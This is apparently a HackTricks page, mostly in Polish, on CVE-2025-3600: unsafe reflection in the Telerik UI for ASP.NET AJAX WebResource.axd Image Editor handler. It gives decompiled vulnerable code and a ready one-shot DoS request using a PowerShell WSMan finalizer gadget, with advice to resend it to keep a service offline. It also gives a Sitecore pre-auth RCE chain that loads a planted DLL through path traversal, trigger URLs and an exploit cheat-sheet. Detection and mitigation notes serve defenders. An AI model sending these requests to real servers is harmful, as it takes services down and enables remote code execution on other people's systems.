Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)
Reading time: 7 minutes
tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Pre‑auth wywołanie konstruktora w handlerze pamięci podręcznej Image Editor Telerik UI for ASP.NET AJAX umożliwia uniwersalny DoS i, w wielu aplikacjach, pre‑auth RCE przez podatne na cel gadgety (CVE-2025-3600).
TL;DR
- Affected component/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). Exposed pre‑auth in many products.
- Mechanizm: Atakujący kontroluje nazwę typu (prtype). Handler rozwiązuje ją za pomocą Type.GetType() i wywołuje Activator.CreateInstance() zanim zweryfikuje zgodność z interfejsem (type-safety). Każdy publiczny, bezparametrowy konstruktor typu .NET zostanie uruchomiony.
- Impact:
- Universal pre‑auth DoS with a .NET framework gadget (PowerShell WSMan finalizer).
- Often elevates to pre‑auth RCE in real deployments by abusing app‑specific gadgets, especially insecure AppDomain.AssemblyResolve handlers.
- Fix: Update to Telerik UI for ASP.NET AJAX 2025.1.416+ or remove/lock the handler.
Affected versions
- Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) are vulnerable.
- Fixed in 2025.1.416 (released 2025-04-30). Patch immediately or remove/lock down the handler.
Affected surface and quick discovery
- Check exposure:
- GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 if the handler is wired.
- Inspect web.config for handlers mapping to Telerik.Web.UI.WebResource.axd.
- Trigger path for the vulnerable code-path requires: type=iec, dkey=1, and prtype=
.
Przykładowe sondowanie i ogólny trigger:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly
Notatki
- Niektóre PoCs używają dtype; implementacja sprawdza dkey=="1" dla przepływu pobierania.
- prtype musi być assembly-qualified lub rozwiązywalny w bieżącym AppDomain.
Główna przyczyna – niebezpieczna refleksja w ImageEditorCacheHandler
Przepływ pobierania cache Image Editora tworzy instancję typu dostarczonego w prtype i dopiero później rzutuje ją na ICacheImageProvider oraz weryfikuje klucz pobierania. Konstruktor został już uruchomiony, gdy weryfikacja nie powiodła się.
Istotny zdekompilowany przepływ
// entrypoint
public void ProcessRequest(HttpContext context)
{
string text = context.Request["dkey"]; // dkey
string text2 = context.Request.Form["encryptedDownloadKey"]; // download key
...
if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1"
{
ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here
string key = context.Request["key"];
if (text == "1" && !this.IsValidDownloadKey(text2))
{
this.CompleteAsBadRequest(context.ApplicationInstance);
return; // cast/check happens after ctor has already run
}
using (EditableImage editableImage = imageProvider.Retrieve(key))
{
this.SendImage(editableImage, context, text, fileName);
}
}
}
private ICacheImageProvider GetImageProvider(HttpContext context)
{
if (!string.IsNullOrEmpty(context.Request["prtype"]))
{
return RadImageEditor.InitCacheImageProvider(
RadImageEditor.GetICacheImageProviderType(context.Request["prtype"]) // [A]
);
}
...
}
public static Type GetICacheImageProviderType(string imageProviderTypeName)
{
return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ?
typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B]
}
protected internal static ICacheImageProvider InitCacheImageProvider(Type t)
{
// unsafe: construct before enforcing interface type-safety
return (ICacheImageProvider)Activator.CreateInstance(t); // [C]
}
Exploit primitive: Kontrolowany string reprezentujący typ → Type.GetType go rozwiązuje → Activator.CreateInstance uruchamia jego publiczny konstruktor bez parametrów. Nawet jeśli żądanie zostanie później odrzucone, skutki uboczne gadgetu już wystąpiły.
Uniwersalny DoS gadget (no app-specific gadgets required)
Klasa: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper w System.Management.Automation (PowerShell) ma finalizer, który wywołuje Dispose() na niezainicjalizowanym uchwycie, powodując nieobsłużony wyjątek podczas finalizacji przez GC. To niezawodnie powoduje awarię procesu roboczego IIS wkrótce po utworzeniu.
One‑shot DoS request:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
Notatki
- Wysyłaj okresowo, żeby utrzymać serwis offline. Możesz zaobserwować wywołanie konstruktora w debuggerze; awaria następuje przy finalizacji.
Od DoS do RCE – wzorce eskalacji
Niebezpieczne wykonanie konstruktora odblokowuje wiele specyficznych dla celu gadgetów i łańcuchów. Szukaj:
- Parameterless constructors that process attacker input
- Niektóre ctors (lub static initializers) natychmiast odczytują Request query/body/cookies/headers i (de)serializują je.
- Example (Sitecore): a ctor chain reaches GetLayoutDefinition() which reads HTTP body "layout" and deserializes JSON via JSON.NET.
- Constructors that touch files
- Ctros that load or deserialize config/blobs from disk can be coerced if you can write to those paths (uploads/temp/data folders).
- Constructors performing app-specific ops
- Resetting state, toggling modules, or terminating processes.
- Constructors/static ctors that register AppDomain event handlers
- Wiele aplikacji dodaje AppDomain.CurrentDomain.AssemblyResolve handlers, które budują ścieżki DLL z args.Name bez sanitizacji. Jeśli możesz wpłynąć na rozwiązywanie typów, możesz wymusić dowolne ładowanie DLL ze ścieżek kontrolowanych przez atakującego.
- Forcing AssemblyResolve via Type.GetType
- Zażądaj nieistniejącego typu, aby wymusić rozwiązywanie przez CLR i wywołać zarejestrowane (możliwie niebezpieczne) resolvery. Example assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
- Finalizery z destrukcyjnymi skutkami ubocznymi
- Niektóre typy usuwają pliki o stałej ścieżce w finalizerach. W połączeniu z podążaniem za linkami lub przewidywalnymi ścieżkami może to umożliwić local privilege escalation w niektórych środowiskach.
Przykładowy pre‑auth RCE chain (Sitecore XP)
- Krok 1 – Pre‑auth: Wywołaj typ, którego static/instance ctor rejestruje niebezpieczny AssemblyResolve handler (np. Sitecore’s FolderControlSource in ControlFactory).
- Krok 2 – Post‑auth: Uzyskaj zapis do katalogu sprawdzanego przez resolver (np. przez auth bypass lub weak upload) i podłóż złośliwy DLL.
- Krok 3 – Pre‑auth: Wykorzystaj CVE‑2025‑3600 z nieistniejącym typem i nazwą assembly zawierającą traversal, aby zmusić resolver do załadowania podłożonego DLL → wykonanie kodu jako IIS worker.
Przykłady wyzwalaczy
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr
Weryfikacja, hunting i DFIR — notatki
- Safe lab validation: Fire the DoS payload and watch for app pool recycle/unhandled exception tied to the WSMan finalizer.
- Hunt in telemetry:
- Requests to /Telerik.Web.UI.WebResource.axd with type=iec and odd prtype values.
- Failed type loads and AppDomain.AssemblyResolve events.
- Sudden w3wp.exe crashes/recycles following such requests.
Mitigation
- Zainstaluj poprawkę dla Telerik UI for ASP.NET AJAX 2025.1.416 lub nowszej.
- Usuń lub ogranicz ekspozycję Telerik.Web.UI.WebResource.axd tam, gdzie to możliwe (WAF/rewrites).
- Ignore or harden prtype handling server-side (aktualizacja stosuje właściwe sprawdzenia przed instancjonowaniem).
- Przeaudytuj i wzmocnij niestandardowe handlery AppDomain.AssemblyResolve. Unikaj budowania ścieżek z args.Name bez sanitizacji; preferuj ładowanie assembly o silnym podpisie (strong-named) lub białe listy.
- Ogranicz lokalizacje uploadu/zapisu i zapobiegaj upuszczaniu DLL do katalogów przeszukiwanych przez mechanizm ładowania.
- Monitoruj próby ładowania nieistniejących typów, aby wykryć nadużycia resolvera.
Cheat‑sheet
- Presence check:
- GET /Telerik.Web.UI.WebResource.axd
- Poszukaj mapowania handlera w web.config
- Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
- Universal DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
- Wyzwalacz resolvera:
This.Class.Does.Not.Exist, watchTowr
Powiązane techniki
- IIS post-exploitation, .NET key extraction i in‑memory loaders:
IIS - Internet Information Services
- ASP.NET ViewState deserialization i machineKey abuses:
Exploiting __VIEWSTATE without knowing the secrets
Odniesienia
- watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
- Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
- ZDI – Abusing arbitrary file deletes to escalate privilege
- watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)
tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks